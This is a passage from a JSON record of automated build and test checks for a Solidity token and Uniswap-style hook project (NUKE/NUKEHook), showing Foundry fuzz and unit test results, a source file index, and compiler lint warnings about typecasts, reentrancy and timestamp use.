1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n\n[PASS] test_handlerFundedZeroOutputBatchRetainsRestingObservation() (gas: 2824981)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 4\n  Bound result 3600\n\n[PASS] test_handlerRetainsObservationAcrossEmptyRegionMovement() (gas: 2128724)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 900\n  Bound result 1\n  Bound result 100\n  Bound result 2700\n  Bound result 7200\n\n[PASS] test_handlerShapedLiquidityKeepsWalkAndEngineInAgreement() (gas: 7468799)\nLogs:\n  Bound result 3\n  Bound result 10000000000000000000000\n  Bound result 4\n  Bound result 10000000000000000000000\n  Bound result 2\n  Bound result 5000000000000000000000\n  Bound result 0\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 1800\n  Bound result 1000000000000000000000\n  Bound result 50\n  Bound result 2\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 100000000000000000000000\n  Bound result 1800\n  Bound result 1000000000000000000000\n\n[PASS] test_handlerZeroBudgetDoesNotObserveRestoredLiquidity() (gas: 3517710)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 3600\n  Bound result 1000000000000000000000\n  Bound result 3600\n\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 31.49s (31.55s CPU time)\n\nRan 19 test suites in 31.49s (72.23s CPU time): 136 tests passed, 0 failed, 1 skipped (137 total tests)\n","passed":true},{"durationMs":147,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":110,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":32,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":387,\"test/BatchPriceLimit.t.sol\":107,\"test/Conservation.t.sol\":108,\"test/DustBatch.t.sol\":146,\"test/DustLiquidityOracle.t.sol\":230,\"test/MainnetFork.t.sol\":82,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":393,\"test/OracleLiquidity.t.sol\":129,\"test/README.md\":39,\"test/SettlementEdges.t.sol\":292,\"test/StatefulAccounting.t.sol\":626,\"test/helpers/ClaimActor.sol\":130,\"test/helpers/HookFixture.sol\":145,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"5be82014052bb377fb061466e2e7b9219db5644f41cbea1016b47813b7feb0b9","verifiedTreeHash":"1692f262efd240b3394244869037516956d9444e","verifierVersion":"0.1.0+5d71dfd4"},{"checks":[{"durationMs":92793,"exitCode":0,"name":"build","output":"Compiling 86 files with Solc 0.8.26\nSolc 0.8.26 finished in 92.62s\nCompiler run successful!\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:121:9\n    │\n121 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:119:25\n    │\n119 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:119:50\n    │\n119 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:42\n    │\n133 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:87\n    │\n133 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:134:25\n    │\n134 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:154:13\n    │\n154 │             emit FeeAccrued(currency, fee);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:150:23\n    │\n150 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:156:44\n    │\n156 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:156:51\n    │\n156 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:190:16\n    │\n190 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:196:29\n    │\n196 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:198:9\n    │\n198 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `lastBatch` is updated\n    ╭▸ src/NUKEHook.sol:215:13\n    │\n215 │         try poolManager.unlock(abi.encode(budget, limit)) returns (bytes memory result) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:205:13\n    │\n205 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:228:9\n    │\n228 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:22\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:30\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:67\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:75\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:220:39\n    │\n220 │             if (reason.length != 4 || bytes4(reason) != EmptyBatch.selector) {\n    │                                       ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:245:81\n    │\n245 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:246:25\n    │\n246 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:247:26\n    │\n247 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:256:13\n    │\n256 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:285:43\n    │\n285 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:277:13\n    │\n277 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:286:17\n    │\n286 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:278:27\n    │\n278 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:278:50\n    │\n278 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:280:69\n    │\n280 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:281:38\n    │\n281 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:283:44\n    │\n283 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:284:26\n    │\n284 │             o.meanTick = int24(mean);\n    │                          ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:287:28\n    │\n287 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:288:26\n    │\n288 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:288:49\n    │\n288 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:290:24\n    │\n290 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":6320,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 591.62µs (0.00ns CPU time)\n\nRan 3 tests for test/DustBatch.t.sol:DustBatchReverseOrderTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 335951)\n[PASS] test_tinyPositiveOutputPartialFillConsumesInterval() (gas: 527136)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 891789)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.68ms (3.67ms CPU time)\n\nRan 3 tests for test/DustBatch.t.sol:DustBatchTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 330268)\n[PASS] test_tinyPositiveOutputPartialFillConsumesInterval() (gas: 521411)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 879903)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 32.91ms (2.03ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityReverseOrderTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1153917)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1572322)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 1952039)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1636393)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 48.36ms (8.83ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1114192)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1584152)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 1958339)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1643286)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 88.19ms (5.82ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesReverseOrderTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 391498, ~: 393643)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 442897)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 654996)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 6570435)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 969048)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1121591)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 779025)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 283.02ms (295.75ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 473185, ~: 511024)\nLogs:\n  Bound result 9000000000000000065\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 301.12ms (268.97ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsReverseOrderTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 510948, ~: 548380)\nLogs:\n  Bound result 2034568381533040984\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 301.12ms (297.57ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 368015, ~: 369408)\nLogs:\n  Bound result 99999000000000000010266\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1135032, ~: 1136997)\nLogs:\n  Bound result 2950\n  Bound result 2994\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 678807)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 489273)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1262141)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 3403581)\n[PASS] test_dustFeeRoundsDown() (gas: 370363)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 784947)\n[PASS] test_exactInputBuy() (gas: 367072)\n[PASS] test_exactInputSell() (gas: 360588)\n[PASS] test_exactOutputBuy() (gas: 365968)\n[PASS] test_exactOutputSell() (gas: 361478)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 33425089)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 813467)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 33602352)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 709737)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 319313)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 2831999)\n[PASS] test_partialExactInputBuy() (gas: 367347)\n[PASS] test_partialExactInputSell() (gas: 361886)\n[PASS] test_partialExactOutputBuy() (gas: 365921)\n[PASS] test_partialExactOutputSell() (gas: 360961)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 697376)\n[PASS] test_permissionsAndDeployment() (gas: 2002796)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 37146)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 415301)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 301.63ms (591.16ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86333, ~: 86525)\nLogs:\n  Bound result 226161911042460357987316\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 301.74ms (302.73ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 617442, ~: 617423)\nLogs:\n  Bound result 3600\n  Bound result 1000000000000000001\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 757938)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1024621)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 301.87ms (280.69ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitReverseOrderTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 612509, ~: 611809)\nLogs:\n  Bound result 3650\n  Bound result 99999000000000000000047\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 769718)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1018580)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 301.92ms (305.36ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 386312, ~: 384014)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 436653)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 648659)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 6536053)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 969350)\n[PASS] 